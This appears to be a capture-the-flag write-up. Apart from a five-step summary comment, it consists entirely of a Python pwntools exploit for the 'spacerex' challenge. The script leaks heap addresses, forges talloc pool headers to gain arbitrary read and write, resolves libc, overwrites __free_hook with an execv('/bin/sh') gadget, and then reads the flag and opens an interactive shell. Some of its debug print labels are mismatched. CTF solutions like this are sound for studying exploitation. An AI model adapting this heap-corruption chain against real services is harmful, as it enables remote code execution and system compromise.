Tags: python pwn 

Rating:

# 1. Leak heap address with star compositions tables
# 2. Create new moon with fake pool header
# 3. Create planet using fake pool header
# 4. Corrupt planet to read anywhere
# 5. Use pool header to write libc's __free_hook to magic execv(/bin/sh) address

from pwn import *
#s = process(['./spacerex', '99999'])
s = remote('spacerex.bostonkey.party', 6666)
s.recvuntil('__')

####### Leak data
import re
import struct

TALLOC_SZ = 12*8

def parse_composition(inp):
data = ''
for l in inp.split('\n'):
for c in re.split('[\s%]+', l)[1:]:
if not c:
continue
data += chr(int(c))
return data

# Create star
s.sendline('1')
s.sendline('SA_Name')
s.sendline('0')
s.sendline('10000')
s.sendline('1')
# Create planet
s.sendline('PAA_Name')
s.sendline('PAA_Const')
s.sendline('1')
s.sendline('3735928559')
s.sendline('1')
s.sendline('10000')
s.sendline('0')
s.sendline('0')
s.sendline('0')
s.sendline('0')
s.sendline('0')
s.sendline('0')
s.sendline('0')
s.sendline('0')
s.sendline('100')
s.sendline('M')
s.sendline('1')
s.sendline('1')
s.sendline('MAAA')
s.recvuntil('__')

s.sendline('1')
s.sendline('/bin/sh')
s.sendline('0')
s.sendline('10000')
s.sendline('0')
s.recvuntil('__')

# Leak data
s.sendline('6')
s.sendline('SA_Name')
s.sendline('5')
s.sendline('-1')
s.recvuntil('-----\n')
types = s.recvuntil('-----\n').strip()
s.sendline('y')
s.recvuntil('------\n')
composition = s.recvuntil('\n\n').strip()
s.recvuntil('__')

leak = parse_composition(composition)
magnitude_off = leak.index(struct.pack('d', 0xdeadbeef))
moon0_off = magnitude_off + 0x30
moon_addr = u64(leak[moon0_off:moon0_off+8])
planet_name_addr = moon_addr + (
leak.index('PAA_Name') - leak.index('MAAA')) + 0x8
planet_addr = moon_addr + (
magnitude_off - leak.index('MAAA')) - 0x18
star_name_addr = moon_addr + (
leak.index('/bin/sh') - leak.index('MAAA')) + 0x8
print 'Star name addr: ', hex(planet_name_addr)
print 'Planet name addr: ', hex(planet_name_addr)
print 'Planet addr: ', hex(planet_addr)
print 'Moon addr: ', hex(moon_addr)

# New planet with pool to fake chunk
s.sendline('6')
s.sendline('PAB_Name')
s.sendline('PAB_Const')
s.sendline('1')
s.sendline('1')
s.sendline('1')
s.sendline('10000')
s.sendline('1')
s.sendline('100')
s.sendline('0')
s.sendline('0')
s.sendline('0')
s.sendline('0')
s.sendline('0')
s.sendline('0')
s.sendline('0')
s.sendline('R')
s.sendline(str(moon_addr+0x70))
s.recvuntil('__')

# Create fake chunk
def set_pool(addr):
s.sendline('4')
s.sendline('PAA_Name')
s.sendline('MAAA')
s.sendline('0')
chunk = 'MAAA\x00\x00\x00\x00'
#[Next|Prev|Parent|Child|refs|dtors|name|size|flag|limit|pool]
chunk += p64(0) # Next
chunk += p64(0) # Prev
chunk += p64(0) # Parent
chunk += p64(0) # Child
chunk += p64(0) # Refs
chunk += p64(0) # Dtors
chunk += p64(0) # Name
chunk += p64(0) # Size
chunk += p64(0xe814ec70 + (2<<12) | 8) # Flag
chunk += p64(0) # Limit
chunk += p64(moon_addr + 0x68) # Pool

chunk += p64(addr) # end
chunk += p64(0) # object_count
chunk += p64(0xffffffff) # poolsize
s.sendline(chunk)
s.recvuntil('__')

def set_fakemoon(data):
s.sendline('3')
s.sendline('PAB_Name')
s.sendline('0')
s.sendline(data)

def get_planet_name(n):
s.sendline('7')
s.recvuntil('system -\n')
d = s.recvuntil('\n\n')
s.recvuntil('__')
return d[2:].split('POOP\x1b[0m ')[0]

print hex(moon_addr)
fake_moon = 'MABA\x00\x00\x00\x00' + p64(planet_name_addr) + \
'POOP\x00\x00\x00\x00' + p64(planet_addr+8)
set_pool(planet_addr - TALLOC_SZ - 0x10)
set_fakemoon(fake_moon + p64(planet_addr + 8))
s.recvuntil('__')

@memleak.MemLeak
def leak(addr):
if '\n' in p64(addr):
print 'Danger!'
return ''
s.sendline('4')
s.sendline('PAB_Name')
s.sendline('MABA')
s.sendline('0')
payload = fake_moon + p64(addr)
payload += '\x00' * (0x58 - len(payload)) + p64(moon_addr)
s.sendline(payload)
s.recvuntil('__')

data = get_planet_name(0)
if len(data) > 4:
return data + '\x00' * (8-len(data))
else:
return data + '\x00'

alarm = 0xc0cd0
target = 0xE58C5

star = star_name_addr + 0x190 - TALLOC_SZ - 0x280
print hex(star)
color = leak.q(star+TALLOC_SZ+0x38)
base = color - 0x40C0
print 'Base addr:', hex(base)
talloc = leak.q(base + 0x0205FB0) - 0x1E20
print 'talloc addr:', hex(talloc)
libc = leak.q(base + 0x205F78) - alarm
print 'libc addr:', hex(libc)
system = libc + target
libc_freehook = libc + 0x3C0A10 - 0x10
print 'hook', hex(libc_freehook)

set_pool(libc_freehook - TALLOC_SZ - 8)
set_fakemoon('\x00'*16+p64(system))
s.recvuntil('__')

s.sendline('2')
#gdb.attach(s, execute='b *'+hex(system))
s.sendline('PAB_Name')
sleep(0.5)
s.sendline('cat /home/spacerex/flag')
s.interactive()

Original writeup (https://gist.github.com/isra17/59732f76fc609b12bc09).